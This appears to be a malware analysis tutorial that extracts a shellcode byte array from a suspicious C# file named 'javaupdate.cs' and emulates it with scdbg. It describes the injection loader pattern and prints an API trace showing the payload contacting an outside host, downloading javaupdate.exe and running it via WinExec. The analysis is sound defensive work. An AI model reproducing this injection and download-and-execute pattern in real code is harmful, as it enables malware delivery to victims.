Carving Shellcode like a Christmas Ham
Shellcode is a small piece of code used as the payload in the exploitation of software vulnerabilities. Here’s a brief explanation:
- Definition: Shellcode is typically written in machine code or assembly language.
- Purpose: Its primary goal is usually to spawn a command shell or perform a specific task on the target system.
- Name origin: The term “shellcode” comes from its original purpose of spawning a shell, though it’s now used more broadly.
- Characteristics:
— Small size: Often needs to fit in limited memory spaces
— Self-contained: Doesn’t rely on external libraries
— Position-independent: Can execute regardless of its location in memory - Common uses:
— Exploiting buffer overflows
— Injecting code into running processes
— Payload delivery in various types of attacks - Types:
— Local shellcode: Elevates privileges on the local system
— Remote shellcode: Provides remote access to the attacker - Challenges in creation:
— Avoiding null bytes and other restricted characters
— Bypassing security measures like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) - Analysis: Tools like scdbg are used to study and understand shellcode behavior safely.
scdbg is particularly useful for analyzing potentially malicious code snippets or understanding exploit payloads.
scdbg (Shellcode Debugger) is a tool used for analyzing and debugging shellcode. Here’s a concise explanation of what it does:
- Shellcode emulation: scdbg emulates the execution of shellcode in a controlled environment.
- Analysis: It helps security researchers and malware analysts understand how shellcode behaves without running it on a real system.
- Debugging: Provides debugging capabilities to step through shellcode execution.
- API call tracing: Records and displays Windows API calls made by the shellcode.
- Memory manipulation detection: Identifies attempts to access or modify memory.
- Formatting options: Can output results in various formats for further analysis.
- Heuristic detection: Attempts to identify potentially malicious behavior.
We have a sample that is labeled “javaupdate.cs” that is obviously suspicious since this extension is for C#. Let’s open this in Visual Studio to see if we can find anything that stands out.
Looking at the code, it seems to be some kind of classic injection. We see VirtualAlloc, which will be used to allocate space in memory. We then see Marshal.Copy, which will copy the payload into the space that was allocated. VirtualProtect is called, which will check the memory protections on this memory space and make any changes if necessary. Finally, it calls CreateThread to execute a thread which will run whatever is in the encoded byte array.
What is also interesting is the WaitForSingleObject call, which is telling it to wait for an indefinite period of time. This means the process will not show up in the process list until it receives a handle to the thread.
We will not fully know the extent of the malware’s capabilities until we are able to decode the bytes within “rsrc”. To do this, we will copy the payload bytes to another file and use a Python script to format and output a file that scdbg can use.
Below is the Python code to help us. We saved the file as shellcode.txt.
#!/usr/bin/env python3
with open("shellcode.txt", "r") as f:
hex_string = f.read().replace("0x","").replace("byte[] rsrc = new byte[464] {","").replace("};","").replace(",","")
hex_encode = hex_string.encode()
print(hex_string)
print(hex_encode)
Here are the results after running the first time. On top, we have the raw bytes with all the unneeded characters taken out. The second half is what we can use to manipulate the actual data of the shellcode.
To write the hex-encoded data to an output file, we will add the following additional lines of code:
#!/usr/bin/env python3
with open("shellcode.txt", "r") as f:
hex_string = f.read().replace("0x","").replace("byte[] rsrc = new byte[464] {","").replace("};","").replace(",","")
hex_encode = hex_string.encode()
#print(hex_string)
#print(hex_encode)
with open ("out.bin", "wb") as out:
out.write(hex_encode)
The response gives us our shell code formatted nicely:
To get this over to our FlareVM we will stand up a quick HTTP Server and pull down the file:
remnux@remnux:~/Documents/tmp$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Grabbing the file:
For our SCDBG command, we need to pass in the shellcode and specify if this is a raw string or a file, which it can handle both. We can also specify the number of steps to step through, which is the number of instructions it will walk through to identify what the shellcode is doing at each set of instructions. We can pass “/f” for the file name and “-s” for steps, which we will specify as “-1” for unlimited, which will parse out all the instructions in the shellcode.
C:\Users\MALDEV01\Desktop
λ scdbg /f out.bin -s -1
Loaded 3a0 bytes from file out.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000
4010a4 LoadLibraryA(wininet)
4010b2 InternetOpenA(wininet)
4010cb InternetConnectA(server: burn.ec2-13-7-109-121-ubuntu-2004.local, port: 443, )
4010e3 HttpOpenRequestA()
4010fc InternetSetOptionA(h=4893, opt=1f, buf=12fdf4, blen=4)
40110a HttpSendRequestA()
401139 CreateFileA(javaupdate.exe) = 4
401155 InternetReadFile(4893, buf: 12faf4, size: 300)
40117c CloseHandle(4)
401186 WinExec(javaupdate.exe)
40118f ExitProcess(0)
Stepcount 5043493
Above, we see a list of all the APIs that SCDBG was able to identify while stepping through the shellcode. We see it pulling the WinInet library to be able to call APIs such as InternetOpen and InternetConnect, along with some others.
We see it passing the URL “burn.ec2–13–7–109–121-ubuntu-2004.local, port: 443” to InternetConnect to download a file and save it as javaupdate.exe. It then runs the executable via the WinExec call and exits the process (ExitProcess).
So, in summary, we took a block of hexadecimal bytes we knew absolutely nothing about. We carved into it a little bit to see if we could get the bytes out of the text format and into a format we could use with scdbg. We then used scdbg to step through the bytes of the shellcode to see which API calls were being imported and what parameters were being passed to those calls.
I think we can safely determine that this is a malicious block of shellcode due to it trying to download a file and execute it via the Windows API WinExec.